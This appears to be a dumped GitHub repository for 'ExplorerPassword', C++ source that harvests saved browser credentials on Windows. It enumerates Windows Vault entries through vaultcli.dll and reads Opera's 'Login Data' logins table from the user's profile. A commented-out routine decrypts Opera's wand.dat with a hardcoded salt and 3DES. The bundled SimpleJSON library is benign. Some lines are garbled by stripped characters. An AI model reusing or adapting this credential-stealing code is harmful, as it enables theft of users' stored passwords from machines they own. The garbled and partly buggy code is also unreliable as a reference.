vault_cred_s **vault_cred); 565 | typedef unsigned int (__stdcall *VaultGetItem_t)(void *VaultHandle, _GUID *pSchemaId, vault_entry_s *pResource, vault_entry_s *pIdentity, vault_entry_s *pPackageSid, HWND__ *hwndOwner, unsigned int dwFlags, vault_cred_s **ppItem); 566 | typedef unsigned int (__stdcall *VaultCloseVault_t)(void **pVaultHandle); 567 | typedef void (__stdcall *VaultFree_t)(void *pMemory); 568 | 569 | void CIexplorer::DumpVault() 570 | { 571 | struct get_Iexplorer getiexplorer; 572 | void *vhandle = NULL; 573 | VaultOpenVault_t pVaultOpenVault = NULL; 574 | VaultEnumerateItems_t pVaultEnumerateItems = NULL; 575 | VaultGetItem_t pVaultGetItem = NULL; 576 | VaultCloseVault_t pVaultCloseVault = NULL; 577 | VaultFree_t pVaultFree = NULL; 578 | GUID guid_vault; 579 | GUID guid_schema; 580 | DWORD count = 0; 581 | vault_cred_s *vault_cred = NULL; 582 | vault_cred_s *vault_cred_full = NULL; 583 | HMODULE hmod = NULL; 584 | DWORD i = 0; 585 | 586 | if (CLSIDFromString(L"{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}", &guid_vault) != S_OK) 587 | return; 588 | if (CLSIDFromString(L"{3CCD5499-87A8-4B10-A215-608888DD3B55}", &guid_schema) != S_OK) 589 | return; 590 | 591 | hmod = LoadLibraryA("vaultcli.dll"); 592 | if (hmod == NULL) 593 | return; 594 | 595 | pVaultOpenVault = (VaultOpenVault_t)GetProcAddress(hmod, "VaultOpenVault"); 596 | pVaultEnumerateItems = (VaultEnumerateItems_t)GetProcAddress(hmod, "VaultEnumerateItems"); 597 | pVaultGetItem = (VaultGetItem_t)GetProcAddress(hmod, "VaultGetItem"); 598 | pVaultCloseVault = (VaultCloseVault_t)GetProcAddress(hmod, "VaultCloseVault"); 599 | pVaultFree = (VaultFree_t)GetProcAddress(hmod, "VaultFree"); 600 | 601 | if (pVaultOpenVault && pVaultEnumerateItems && pVaultGetItem && pVaultCloseVault && pVaultFree) { 602 | if (pVaultOpenVault(&guid_vault, 0, &vhandle) == S_OK) { 603 | if (pVaultEnumerateItems(vhandle, 0x200, &count, &vault_cred) == S_OK) { 604 | for (i=0; iname, vault_cred[i].user->name, vault_cred[i].user->name); 607 | ZeroMemory(&getiexplorer, sizeof(getiexplorer)); 608 | wcscpy_s(getiexplorer.url,vault_cred[i].resource->name); 609 | wcscpy_s(getiexplorer.user_name,vault_cred[i].user->name); 610 | wcscpy_s(getiexplorer.pass_name,vault_cred[i].user->name); 611 | pIE.push(getiexplorer); 612 | pVaultFree(vault_cred_full); 613 | vault_cred_full = NULL; 614 | } 615 | } 616 | pVaultFree(vault_cred); 617 | } 618 | pVaultCloseVault(&vhandle); 619 | } 620 | } 621 | FreeLibrary(hmod); 622 | } 623 | 624 | int CIexplorer::DumpIExplorer(void) 625 | { 626 | //DumpIEpstorage(); 627 | DumpVault(); 628 | DumpIE7(); 629 | 630 | return 0; 631 | } -------------------------------------------------------------------------------- /ExplorerPassword/CIexplorer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/CIexplorer.h -------------------------------------------------------------------------------- /ExplorerPassword/COpera.cpp: -------------------------------------------------------------------------------- 1 | #include "COpera.h" 2 | #include "CChrome.h" 3 | #include "../SQLite/sqlite3.h" 4 | 5 | const unsigned char opera_salt[11] = { 0x83, 0x7D, 0xFC, 0x0F, 0x8E, 0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF }; 6 | 7 | struct p_entry { 8 | WCHAR service[64]; 9 | WCHAR resource[255]; 10 | WCHAR user_name[255]; 11 | WCHAR user_value[255]; 12 | WCHAR pass_name[255]; 13 | WCHAR pass_value[255]; 14 | }; 15 | 16 | #define FORM_FIELDS 0x0c020000 17 | 18 | #define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0); 19 | 20 | COpera::COpera() 21 | { 22 | } 23 | 24 | COpera::~COpera() 25 | { 26 | } 27 | 28 | /* 29 | void COpera::SaveData(WCHAR *url, WCHAR *user, WCHAR *pass) 30 | { 31 | get_Opera op; 32 | ZeroMemory(&op, sizeof(get_Opera)); 33 | wcsncpy(op.url, url, wcslen(url)); 34 | wcsncpy(op.user_name, user, wcslen(url)); 35 | wcsncpy(op.pass_name, pass, wcslen(url)); 36 | 37 | pOP.push(op); 38 | } 39 | 40 | int COpera::DumpOP(WCHAR *profilePath, WCHAR *signonFile) 41 | { 42 | WCHAR wandPath[MAX_PATH]; 43 | unsigned char *wandData, *wandMap; 44 | unsigned long fileSize; 45 | HANDLE hFile; 46 | HANDLE hMap; 47 | p_entry opentry; 48 | 49 | memset(&opentry, 0, sizeof(opentry)); 50 | 51 | _snwprintf_s(wandPath, MAX_PATH, _TRUNCATE, L"%s\\%s", profilePath, signonFile); 52 | 53 | if ((hFile = CreateFileW(wandPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE) 54 | return 0; 55 | 56 | fileSize = GetFileSize(hFile, NULL); 57 | 58 | if ((hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) { 59 | CloseHandle(hFile); 60 | return 0; 61 | } 62 | 63 | wandMap = (unsigned char *)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); 64 | 65 | wandData = (unsigned char *)malloc(fileSize); 66 | memcpy(wandData, wandMap, fileSize); 67 | 68 | CloseHandle(hFile); 69 | UnmapViewOfFile(wandMap); 70 | CloseHandle(hMap); 71 | 72 | swprintf_s(opentry.service, 255, L"Opera"); 73 | 74 | unsigned long wandOffset = 0; 75 | int field_num = 0; 76 | 77 | // 78 | // main loop, find and process encrypted blocks 79 | // 80 | 81 | while(wandOffset < fileSize) 82 | { 83 | DWORD *field_type; 84 | 85 | // find key length field at start of block 86 | unsigned char *wandKey = (unsigned char *) 87 | memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset); 88 | 89 | if (wandKey == NULL) 90 | break; 91 | 92 | // Vede quando cominciano i field 93 | field_type = (DWORD *)(++wandKey); 94 | field_type-=3; 95 | 96 | wandOffset = wandKey - wandData; 97 | 98 | // create pointers to length fields 99 | unsigned char *blockLengthPtr = wandKey - 8; 100 | unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ; 101 | 102 | if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize) 103 | continue; 104 | 105 | // convert big-endian numbers to native 106 | unsigned long blockLength = *blockLengthPtr++ << 24; 107 | blockLength |= *blockLengthPtr++ << 16; 108 | blockLength |= *blockLengthPtr++ << 8; 109 | blockLength |= *blockLengthPtr; 110 | 111 | unsigned long dataLength = *dataLengthPtr++ << 24; 112 | dataLength |= *dataLengthPtr++ << 16; 113 | dataLength |= *dataLengthPtr++ << 8; 114 | dataLength |= *dataLengthPtr; 115 | 116 | // as discussed in the article 117 | if (blockLength != dataLength + DES_KEY_SZ + 4 + 4) 118 | continue; 119 | 120 | // perform basic sanity checks on data length 121 | if (dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4) || dataLength < 8 || dataLength % 8 != 0) 122 | continue; 123 | 124 | unsigned char 125 | hashSignature1[MD5_DIGEST_LENGTH], 126 | hashSignature2[MD5_DIGEST_LENGTH], 127 | tmpBuffer[256]; 128 | 129 | memset(hashSignature1, 0, MD5_DIGEST_LENGTH); 130 | memset(hashSignature2, 0, MD5_DIGEST_LENGTH); 131 | memset(tmpBuffer, 0, 256); 132 | // 133 | // hashing of (salt, key), (hash, salt, key) 134 | // 135 | 136 | memcpy(tmpBuffer, opera_salt, sizeof(opera_salt)); 137 | memcpy(tmpBuffer + sizeof(opera_salt), wandKey, DES_KEY_SZ); 138 | 139 | MD5(tmpBuffer, sizeof(opera_salt) + DES_KEY_SZ, hashSignature1); 140 | 141 | memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1)); 142 | memcpy(tmpBuffer + sizeof(hashSignature1), opera_salt, sizeof(opera_salt)); 143 | 144 | memcpy(tmpBuffer + sizeof(hashSignature1) + sizeof(opera_salt), wandKey, DES_KEY_SZ); 145 | 146 | MD5(tmpBuffer, sizeof(hashSignature1) + sizeof(opera_salt) + DES_KEY_SZ, hashSignature2); 147 | 148 | // 149 | // schedule keys. key material from hashes 150 | // 151 | DES_key_schedule key_schedule1, key_schedule2, key_schedule3; 152 | DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[0], &key_schedule1); 153 | DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[8], &key_schedule2); 154 | DES_set_key_unchecked((const_DES_cblock *)&hashSignature2[0], &key_schedule3); 155 | 156 | DES_cblock iVector; 157 | memcpy(iVector, &hashSignature2[8], sizeof(DES_cblock)); 158 | 159 | unsigned char *cryptoData = wandKey + DES_KEY_SZ + 4; 160 | 161 | // 162 | // decrypt wand data in place using 3DES-CBC 163 | // 164 | DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength, &key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0); 165 | 166 | if (*cryptoData != 0x00 && *cryptoData != 0x08) { 167 | // remove padding (data padded up to next block) 168 | unsigned char *padding = cryptoData + dataLength - 1; 169 | memset(padding - (*padding - 1), 0x00, *padding); 170 | 171 | // se comincia con "http" e' un url, quindi contiamo il numero di 172 | // field che ci sono, il primo e' il nome, il secondo e' il valore 173 | 174 | if (field_num == 4) { 175 | field_num++; 176 | swprintf_s(opentry.pass_value, 255, L"%s", cryptoData); 177 | SaveData(opentry.resource, opentry.user_value, opentry.pass_value); 178 | } 179 | if (field_num == 3) { 180 | // salta i dispari che sono i nome dei field 181 | field_num++; 182 | } 183 | if (field_num == 2) { 184 | field_num++; 185 | swprintf_s(opentry.user_value, 255, L"%s", cryptoData); 186 | } 187 | if (field_num == 1 && (*field_type) == FORM_FIELDS) { 188 | // salta i dispari che sono i nome dei field 189 | field_num++; 190 | } 191 | if (!wcsncmp((WCHAR *)cryptoData, L"http", 4)) { 192 | field_num = 1; 193 | swprintf_s(opentry.resource, 255, L"%s", cryptoData); 194 | } 195 | } 196 | 197 | wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength; 198 | } 199 | 200 | SAFE_FREE(wandData); 201 | 202 | return 1; 203 | } 204 | */ 205 | int COpera::parse_opera_signons(void *param, int argc, char **argv, char **azColName) 206 | { 207 | COpera* pThis = (COpera*)param; 208 | get_Opera getOpera = {0}; 209 | 210 | for(int i=0; ipOP.push(getOpera); 223 | return 0; 224 | } 225 | 226 | int COpera::DumpSqlOP(WCHAR *profilePath, WCHAR *signonFile) 227 | { 228 | sqlite3 *db; 229 | WCHAR sqlPath[MAX_PATH] = {0}; 230 | swprintf_s(sqlPath, MAX_PATH, L"%s//%s", profilePath, signonFile); 231 | int rc; 232 | 233 | if ((rc = sqlite3_open16(sqlPath, &db))) 234 | return 0; 235 | int nResult = sqlite3_exec(db, "SELECT * FROM logins;", parse_opera_signons, this, NULL); 236 | 237 | sqlite3_close(db); 238 | 239 | return 1; 240 | } 241 | 242 | WCHAR *COpera::GetOPProfilePath() 243 | { 244 | WCHAR appPath[MAX_PATH]; 245 | static WCHAR FullPath[MAX_PATH]; 246 | 247 | GetEnvironmentVariableW(L"APPDATA", appPath, MAX_PATH); 248 | 249 | _snwprintf_s(FullPath, MAX_PATH, L"%s\\Opera\\Opera\\profile", appPath); 250 | 251 | return FullPath; 252 | } 253 | 254 | WCHAR *COpera::GetOPProfilePath11() 255 | { 256 | WCHAR appPath[MAX_PATH]; 257 | static WCHAR FullPath[MAX_PATH]; 258 | 259 | GetEnvironmentVariableW(L"APPDATA", appPath, MAX_PATH); 260 | 261 | _snwprintf_s(FullPath, MAX_PATH, L"%s\\Opera\\Opera", appPath); 262 | 263 | return FullPath; 264 | } 265 | 266 | WCHAR *COpera::GetOPProfilePathNext() 267 | { 268 | WCHAR appPath[MAX_PATH]; 269 | static WCHAR FullPath[MAX_PATH]; 270 | 271 | GetEnvironmentVariableW(L"APPDATA", appPath, MAX_PATH); 272 | 273 | _snwprintf_s(FullPath, MAX_PATH, L"%s\\Opera Software\\Opera Stable", appPath); 274 | 275 | return FullPath; 276 | } 277 | 278 | int COpera::DumpOpera(void) 279 | { 280 | WCHAR *ProfilePath = NULL; //Profile path 281 | 282 | //Old Version 283 | //ProfilePath = GetOPProfilePath(); 284 | //DumpOP(ProfilePath, L"wand.dat"); 285 | //ProfilePath = GetOPProfilePath11(); 286 | //DumpOP(ProfilePath, L"wand.dat"); 287 | 288 | //New Version 289 | ProfilePath = GetOPProfilePathNext(); 290 | DumpSqlOP(ProfilePath, L"Login Data"); 291 | 292 | return 0; 293 | } 294 | -------------------------------------------------------------------------------- /ExplorerPassword/COpera.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/COpera.h -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/ExplorerPassword.cpp -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "resource.h" 4 | -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/ExplorerPassword.ico -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/ExplorerPassword.rc -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.vcproj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/ExplorerPassword.vcproj -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.vcproj.BAKEMONO.John.user: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 11 | 35 | 36 | 39 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /ExplorerPassword/ExplorerPassword.vcproj.Crazy-PC.Crazy.user: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 11 | 35 | 36 | 39 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /ExplorerPassword/JSON.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * File JSON.cpp part of the SimpleJSON Library - http://mjpa.in/json 3 | * 4 | * Copyright (C) 2010 Mike Anchor 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | * THE SOFTWARE. 23 | */ 24 | 25 | #include "JSON.h" 26 | 27 | /** 28 | * Blocks off the public constructor 29 | * 30 | * @access private 31 | * 32 | */ 33 | JSON::JSON() 34 | { 35 | } 36 | 37 | /** 38 | * Parses a complete JSON encoded string 39 | * This is just a wrapper around the UNICODE Parse(). 40 | * 41 | * @access public 42 | * 43 | * @param char* data The JSON text 44 | * 45 | * @return JSONValue* Returns a JSON Value representing the root, or NULL on error 46 | */ 47 | extern wchar_t *UTF8_2_UTF16(char *str); // in firefox.cpp 48 | 49 | JSONValue *JSON::Parse(const char *data) 50 | { 51 | wchar_t *w_data = UTF8_2_UTF16((char *)data); 52 | if (!w_data) 53 | return NULL; 54 | JSONValue *value = JSON::Parse(w_data); 55 | free(w_data); 56 | return value; 57 | } 58 | 59 | /** 60 | * Parses a complete JSON encoded string (UNICODE input version) 61 | * 62 | * @access public 63 | * 64 | * @param wchar_t_t* data The JSON text 65 | * 66 | * @return JSONValue* Returns a JSON Value representing the root, or NULL on error 67 | */ 68 | JSONValue *JSON::Parse(const wchar_t *data) 69 | { 70 | // Skip any preceding whitespace, end of data = no JSON = fail 71 | if (!SkipWhitespace(&data)) 72 | return NULL; 73 | 74 | // We need the start of a value here now... 75 | JSONValue *value = JSONValue::Parse(&data); 76 | if (value == NULL) 77 | return NULL; 78 | 79 | // Can be white space now and should be at the end of the string then... 80 | if (SkipWhitespace(&data)) 81 | { 82 | delete value; 83 | return NULL; 84 | } 85 | 86 | // We're now at the end of the string 87 | return value; 88 | } 89 | 90 | /** 91 | * Turns the passed in JSONValue into a JSON encode string 92 | * 93 | * @access public 94 | * 95 | * @param JSONValue* value The root value 96 | * 97 | * @return std::wstring Returns a JSON encoded string representation of the given value 98 | */ 99 | std::wstring JSON::Stringify(const JSONValue *value) 100 | { 101 | if (value != NULL) 102 | return value->Stringify(); 103 | else 104 | return L""; 105 | } 106 | 107 | /** 108 | * Skips over any whitespace characters (space, tab, \r or \n) defined by the JSON spec 109 | * 110 | * @access protected 111 | * 112 | * @param wchar_t_t** data Pointer to a wchar_t_t* that contains the JSON text 113 | * 114 | * @return bool Returns true if there is more data, or false if the end of the text was reached 115 | */ 116 | bool JSON::SkipWhitespace(const wchar_t **data) 117 | { 118 | while (**data != 0 && (**data == L' ' || **data == L'\t' || **data == L'\r' || **data == L'\n')) 119 | (*data)++; 120 | 121 | return **data != 0; 122 | } 123 | 124 | /** 125 | * Extracts a JSON String as defined by the spec - "" 126 | * Any escaped characters are swapped out for their unescaped values 127 | * 128 | * @access protected 129 | * 130 | * @param wchar_t_t** data Pointer to a wchar_t_t* that contains the JSON text 131 | * @param std::wstring& str Reference to a std::wstring to receive the extracted string 132 | * 133 | * @return bool Returns true on success, false on failure 134 | */ 135 | bool JSON::ExtractString(const wchar_t **data, std::wstring &str) 136 | { 137 | str = L""; 138 | 139 | while (**data != 0) 140 | { 141 | // Save the char so we can change it if need be 142 | wchar_t next_char = **data; 143 | 144 | // Escaping something? 145 | if (next_char == L'\\') 146 | { 147 | // Move over the escape char 148 | (*data)++; 149 | 150 | // Deal with the escaped char 151 | switch (**data) 152 | { 153 | case L'"': next_char = L'"'; break; 154 | case L'\\': next_char = L'\\'; break; 155 | case L'/': next_char = L'/'; break; 156 | case L'b': next_char = L'\b'; break; 157 | case L'f': next_char = L'\f'; break; 158 | case L'n': next_char = L'\n'; break; 159 | case L'r': next_char = L'\r'; break; 160 | case L't': next_char = L'\t'; break; 161 | case L'u': 162 | { 163 | // We need 5 chars (4 hex + the 'u') or its not valid 164 | if (!simplejson_wcsnlen(*data, 5)) 165 | return false; 166 | 167 | // Deal with the chars 168 | next_char = 0; 169 | for (int i = 0; i < 4; i++) 170 | { 171 | // Do it first to move off the 'u' and leave us on the 172 | // final hex digit as we move on by one later on 173 | (*data)++; 174 | 175 | next_char <<= 4; 176 | 177 | // Parse the hex digit 178 | if (**data >= '0' && **data <= '9') 179 | next_char |= (**data - '0'); 180 | else if (**data >= 'A' && **data <= 'F') 181 | next_char |= (10 + (**data - 'A')); 182 | else if (**data >= 'a' && **data <= 'f') 183 | next_char |= (10 + (**data - 'a')); 184 | else 185 | { 186 | // Invalid hex digit = invalid JSON 187 | return false; 188 | } 189 | } 190 | break; 191 | } 192 | 193 | // By the spec, only the above cases are allowed 194 | default: 195 | return false; 196 | } 197 | } 198 | 199 | // End of the string? 200 | else if (next_char == L'"') 201 | { 202 | (*data)++; 203 | str.reserve(); // Remove unused capacity 204 | return true; 205 | } 206 | 207 | // Disallowed char? 208 | else if (next_char < L' ' && next_char != L'\t') 209 | { 210 | // SPEC Violation: Allow tabs due to real world cases 211 | return false; 212 | } 213 | 214 | // Add the next char 215 | str += next_char; 216 | 217 | // Move on 218 | (*data)++; 219 | } 220 | 221 | // If we're here, the string ended incorrectly 222 | return false; 223 | } 224 | 225 | /** 226 | * Parses some text as though it is an integer 227 | * 228 | * @access protected 229 | * 230 | * @param wchar_t_t** data Pointer to a wchar_t_t* that contains the JSON text 231 | * 232 | * @return double Returns the double value of the number found 233 | */ 234 | double JSON::ParseInt(const wchar_t **data) 235 | { 236 | double integer = 0; 237 | while (**data != 0 && **data >= '0' && **data <= '9') 238 | integer = integer * 10 + (*(*data)++ - '0'); 239 | 240 | return integer; 241 | } 242 | 243 | /** 244 | * Parses some text as though it is a decimal 245 | * 246 | * @access protected 247 | * 248 | * @param wchar_t_t** data Pointer to a wchar_t_t* that contains the JSON text 249 | * 250 | * @return double Returns the double value of the decimal found 251 | */ 252 | double JSON::ParseDecimal(const wchar_t **data) 253 | { 254 | double decimal = 0.0; 255 | double factor = 0.1; 256 | while (**data != 0 && **data >= '0' && **data <= '9') 257 | { 258 | int digit = (*(*data)++ - '0'); 259 | decimal = decimal + digit * factor; 260 | factor *= 0.1; 261 | } 262 | return decimal; 263 | } 264 | -------------------------------------------------------------------------------- /ExplorerPassword/JSON.h: -------------------------------------------------------------------------------- 1 | /* 2 | * File JSON.h part of the SimpleJSON Library - http://mjpa.in/json 3 | * 4 | * Copyright (C) 2010 Mike Anchor 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | * THE SOFTWARE. 23 | */ 24 | 25 | #ifndef _JSON_H_ 26 | #define _JSON_H_ 27 | 28 | // Win32 incompatibilities 29 | #if defined(WIN32) && !defined(__GNUC__) 30 | #define wcsncasecmp _wcsnicmp 31 | static inline bool isnan(double x) { return x != x; } 32 | static inline bool isinf(double x) { return !isnan(x) && isnan(x - x); } 33 | #endif 34 | 35 | #include 36 | #include 37 | #include 38 | 39 | // Linux compile fix - from quaker66 40 | #ifdef __GNUC__ 41 | #include 42 | #include 43 | #endif 44 | 45 | // Mac compile fixes - from quaker66 46 | #if defined(__APPLE__) || (defined(WIN32) && defined(__GNUC__)) 47 | #include 48 | #include 49 | 50 | static inline int wcsncasecmp(const wchar_t_t *s1, const wchar_t_t *s2, size_t n) 51 | { 52 | int lc1 = 0; 53 | int lc2 = 0; 54 | 55 | while (n--) 56 | { 57 | lc1 = towlower (*s1); 58 | lc2 = towlower (*s2); 59 | 60 | if (lc1 != lc2) 61 | return (lc1 - lc2); 62 | 63 | if (!lc1) 64 | return 0; 65 | 66 | ++s1; 67 | ++s2; 68 | } 69 | 70 | return 0; 71 | } 72 | #endif 73 | 74 | // Simple function to check a string 's' has at least 'n' characters 75 | static inline bool simplejson_wcsnlen(const wchar_t *s, size_t n) { 76 | if (s == 0) 77 | return false; 78 | 79 | const wchar_t *save = s; 80 | while (n-- > 0) 81 | { 82 | if (*(save++) == 0) return false; 83 | } 84 | 85 | return true; 86 | } 87 | 88 | // Custom types 89 | class JSONValue; 90 | typedef std::vector JSONArray; 91 | typedef std::map JSONObject; 92 | 93 | #include "JSONValue.h" 94 | 95 | class JSON 96 | { 97 | friend class JSONValue; 98 | 99 | public: 100 | static JSONValue* Parse(const char *data); 101 | static JSONValue* Parse(const wchar_t *data); 102 | static std::wstring Stringify(const JSONValue *value); 103 | static bool ExtractString(const wchar_t **data, std::wstring &str); 104 | protected: 105 | static bool SkipWhitespace(const wchar_t **data); 106 | static double ParseInt(const wchar_t **data); 107 | static double ParseDecimal(const wchar_t **data); 108 | private: 109 | JSON(); 110 | }; 111 | 112 | #endif 113 | -------------------------------------------------------------------------------- /ExplorerPassword/JSONValue.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * File JSONValue.cpp part of the SimpleJSON Library - http://mjpa.in/json 3 | * 4 | * Copyright (C) 2010 Mike Anchor 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | * THE SOFTWARE. 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | #include "JSONValue.h" 35 | 36 | // Macros to free an array/object 37 | #define FREE_ARRAY(x) { JSONArray::iterator iter; for (iter = x.begin(); iter != x.end(); iter++) { delete *iter; } } 38 | #define FREE_OBJECT(x) { JSONObject::iterator iter; for (iter = x.begin(); iter != x.end(); iter++) { delete (*iter).second; } } 39 | 40 | /** 41 | * Parses a JSON encoded value to a JSONValue object 42 | * 43 | * @access protected 44 | * 45 | * @param wchar_t_t** data Pointer to a wchar_t_t* that contains the data 46 | * 47 | * @return JSONValue* Returns a pointer to a JSONValue object on success, NULL on error 48 | */ 49 | JSONValue *JSONValue::Parse(const wchar_t **data) 50 | { 51 | // Is it a string? 52 | if (**data == '"') 53 | { 54 | std::wstring str; 55 | if (!JSON::ExtractString(&(++(*data)), str)) 56 | return NULL; 57 | else 58 | return new JSONValue(str); 59 | } 60 | 61 | // Is it a boolean? 62 | else if ((simplejson_wcsnlen(*data, 4) && wcsncasecmp(*data, L"true", 4) == 0) || (simplejson_wcsnlen(*data, 5) && wcsncasecmp(*data, L"false", 5) == 0)) 63 | { 64 | bool value = wcsncasecmp(*data, L"true", 4) == 0; 65 | (*data) += value ? 4 : 5; 66 | return new JSONValue(value); 67 | } 68 | 69 | // Is it a null? 70 | else if (simplejson_wcsnlen(*data, 4) && wcsncasecmp(*data, L"null", 4) == 0) 71 | { 72 | (*data) += 4; 73 | return new JSONValue(); 74 | } 75 | 76 | // Is it a number? 77 | else if (**data == L'-' || (**data >= L'0' && **data <= L'9')) 78 | { 79 | // Negative? 80 | bool neg = **data == L'-'; 81 | if (neg) (*data)++; 82 | 83 | double number = 0.0; 84 | 85 | // Parse the whole part of the number - only if it wasn't 0 86 | if (**data == L'0') 87 | (*data)++; 88 | else if (**data >= L'1' && **data <= L'9') 89 | number = JSON::ParseInt(data); 90 | else 91 | return NULL; 92 | 93 | // Could be a decimal now... 94 | if (**data == '.') 95 | { 96 | (*data)++; 97 | 98 | // Not get any digits? 99 | if (!(**data >= L'0' && **data <= L'9')) 100 | return NULL; 101 | 102 | // Find the decimal and sort the decimal place out 103 | // Use ParseDecimal as ParseInt won't work with decimals less than 0.1 104 | // thanks to Javier Abadia for the report & fix 105 | double decimal = JSON::ParseDecimal(data); 106 | 107 | // Save the number 108 | number += decimal; 109 | } 110 | 111 | // Could be an exponent now... 112 | if (**data == L'E' || **data == L'e') 113 | { 114 | (*data)++; 115 | 116 | // Check signage of expo 117 | bool neg_expo = false; 118 | if (**data == L'-' || **data == L'+') 119 | { 120 | neg_expo = **data == L'-'; 121 | (*data)++; 122 | } 123 | 124 | // Not get any digits? 125 | if (!(**data >= L'0' && **data <= L'9')) 126 | return NULL; 127 | 128 | // Sort the expo out 129 | double expo = JSON::ParseInt(data); 130 | for (double i = 0.0; i < expo; i++) 131 | number = neg_expo ? (number / 10.0) : (number * 10.0); 132 | } 133 | 134 | // Was it neg? 135 | if (neg) number *= -1; 136 | 137 | return new JSONValue(number); 138 | } 139 | 140 | // An object? 141 | else if (**data == 